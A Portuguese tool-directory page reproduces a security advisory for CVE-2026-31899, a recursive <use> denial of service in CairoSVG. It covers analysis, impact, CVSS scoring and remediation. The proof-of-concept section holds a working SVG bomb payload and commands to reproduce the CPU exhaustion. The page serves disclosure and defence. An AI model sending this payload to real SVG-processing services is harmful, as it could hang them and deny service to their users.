Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-31899 — CVE-2026-31899: DoS exponencial por amplificação recursiva do elemento <use> no CairoSVG (CVSS 7.5 Alta) | Kitploit
Ferramentas/GitHubGitHub/snailsploit/cve-2026-31899
Análise de VulnerabilidadesExploraçãoSegurança WebPapers e PesquisaAprendizado e Educação
GitHubsnailsploit/cve-2026-31899

CVE-2026-31899

CVE-2026-31899: DoS exponencial por amplificação recursiva do elemento <use> no CairoSVG (CVSS 7.5 Alta)

Ver Repositório
há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-31899: DoS Exponencial via Amplificação Recursiva do Elemento no CairoSVG

CVE CVSS Score Python Package CWE-400 GHSA

Palavras-chave: CVE-2026-31899, CairoSVG, DoS exponencial, bomba SVG, elemento use recursivo, negação de serviço, amplificação XML, vulnerabilidade SVG em Python, CWE-400, consumo descontrolado de recursos, SVG billion laughs

Sumário

  • Visão Geral
  • Detalhes da Vulnerabilidade
  • Análise Técnica
  • Prova de Conceito
  • Impacto
  • Remediação
  • Métricas CVSS
  • Referências
  • Contato

Visão Geral

Negação de Serviço Exponencial do CairoSVG (CVE-2026-31899) — Um payload SVG de 1.411 bytes trava a CPU em 100% indefinidamente por meio da amplificação recursiva do elemento .

CairoSVG (~300 mil downloads/semana) é um conversor Python de SVG para PNG/PDF amplamente utilizado. A função use() em cairosvg/defs.py processa recursivamente elementos sem nenhum limite de profundidade ou de contagem. Com 5 níveis de aninhamento e 10 referências em cada nível, um pequeno SVG dispara 10^5 = 100.000 chamadas de renderização — uma variante de "billion laughs" em SVG.

Descoberto por: Kai Aizen — SnailSploit Publicado: 13 de março de 2026 Pontuação CVSS: 7.5 (Alta) CWE: CWE-400 — Consumo Descontrolado de Recursos Pacote: CairoSVG (PyPI) Tipo de Ataque: Negação de Serviço Exponencial Privilégios Necessários: Nenhum (não autenticado)

Detalhes da Vulnerabilidade

Descrição

A função use() em cairosvg/defs.py (linha ~335) resolve recursivamente elementos que referenciam outros elementos . Não há limite de profundidade de recursão nem orçamento total de elementos. Um atacante pode criar um pequeno SVG em que cada camada referencia a camada anterior N vezes, produzindo O(N^depth) chamadas de renderização a partir de O(depth) de entrada.

Principais Características

  • Fator de amplificação: O(10^N) chamadas de renderização a partir de O(N) linhas de entrada
  • Perfil de memória: Estável ~43MB — sem kill por OOM, o processo nunca termina naturalmente
  • Perfil de CPU: 100% de um único núcleo travado indefinidamente
  • Tamanho do payload: 1.411 bytes

Versões Afetadas

  • Vulneráveis: Todas as versões < 2.9.0
  • Corrigidas: Versão 2.9.0 e superiores

Análise Técnica

A vulnerabilidade existe porque:

  1. A função use() em defs.py processa cada elemento consultando seu alvo xlink:href
  2. Se o alvo for, por sua vez, um grupo contendo elementos , estes são expandidos recursivamente
  3. Nenhum contador de profundidade ou orçamento de elementos é aplicado
  4. Cada nível multiplica o trabalho pelo fator de ramificação (ex.: 10x por nível)

Com 5 níveis e um fator de ramificação de 10:

root@kitploit:~
Level 0: 1 element (root <use>)
Level 1: 10 elements
Level 2: 100 elements
Level 3: 1,000 elements
Level 4: 10,000 elements
Level 5: 100,000 render calls

Total: 111.111 chamadas de renderização a partir de uma entrada de 1.411 bytes.

Prova de Conceito

Payload SVG poc.svg)

root@kitploit:~
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <defs>
    <g id="a"><rect width="1" height="1"/></g>
    <g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
    <g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
    <g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
    <g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
  </defs>
  <use xlink:href="#e"/>
</svg>

Reprodução

Método 1 — Linha de Comando:

root@kitploit:~
timeout 10 cairosvg poc.svg -o test.png
# Expected: timeout kills the process after 10 seconds (it never completes)

Método 2 — Python:

root@kitploit:~
import cairosvg
import signal

signal.alarm(5)  # Kill after 5 seconds
try:
    cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
    print("[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s")

Impacto

Qualquer serviço que aceite entrada SVG e use o CairoSVG para processamento está vulnerável:

Superfície de AtaqueExemplo
Geração de miniaturas

Uma única requisição com um payload de 1,4KB travará o thread de processamento indefinidamente enquanto consome memória mínima (sem kill por OOM para salvá-lo).

Remediação

Correção Imediata

Atualize o CairoSVG para a versão 2.9.0 ou superior:

root@kitploit:~
pip install --upgrade CairoSVG>=2.9.0

Defesa em Profundidade

  • Defina timeouts de processamento em qualquer endpoint de conversão de SVG
  • Implemente limites de tamanho de entrada para uploads de SVG
  • Considere executar o processamento de SVG em um ambiente sandbox com workers isolados e limites de tempo de CPU

Métricas CVSS v3.1

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Linha do Tempo

DataEvento
2026-03-09CVE reservado
2026-03-13Advisory publicado (GHSA-f38f-5xpm-9r7c)
2026-03-13CairoSVG 2.9.0 lançado com a correção

Referências

  • GHSA-f38f-5xpm-9r7c
  • NVD — CVE-2026-31899
  • CairoSVG no PyPI
  • CWE-400: Consumo Descontrolado de Recursos
  • Commit da Correção

Contato

Kai Aizen (SnailSploit)

  • Web: snailsploit.com
  • GitHub: @SnailSploit
  • LinkedIn: /in/kaiaizen

⚠️ Aviso Legal: Este repositório é apenas para fins educacionais e de pesquisa de segurança autorizada. A prova de conceito é fornecida para ajudar defensores a validar sua exposição. Use com responsabilidade.


📚 Documentação e Autor

O writeup completo, a metodologia e as pesquisas relacionadas deste projeto estão disponíveis em:

https://snailsploit.com/cves

Criado por Kai Aizen — pesquisador independente de segurança ofensiva.

snailsploit.com · Pesquisa · Frameworks · GitHub · LinkedIn · ResearchGate · X/Twitter

Mesmo ataque. Substrato diferente.

Baixar ferramenta
Upload de SVG → o servidor converte para PNG
Geração de PDFSVG embutido em documento → o CairoSVG renderiza
Processamento de avatar/imagensImagens de perfil SVG enviadas pelo usuário
Renderização de relatóriosGráficos SVG em relatórios automatizados
Pipelines de CI/CDAssets SVG processados durante o build
MétricaValor
Vetor de AtaqueRede (AV:N)
Complexidade do AtaqueBaixa (AC:L)
Privilégios NecessáriosNenhum (PR:N)
Interação do UsuárioNenhuma (UI:N)
EscopoInalterado (S:U)
ConfidencialidadeNenhuma (C:N)
IntegridadeNenhuma (I:N)
DisponibilidadeAlta (A:H)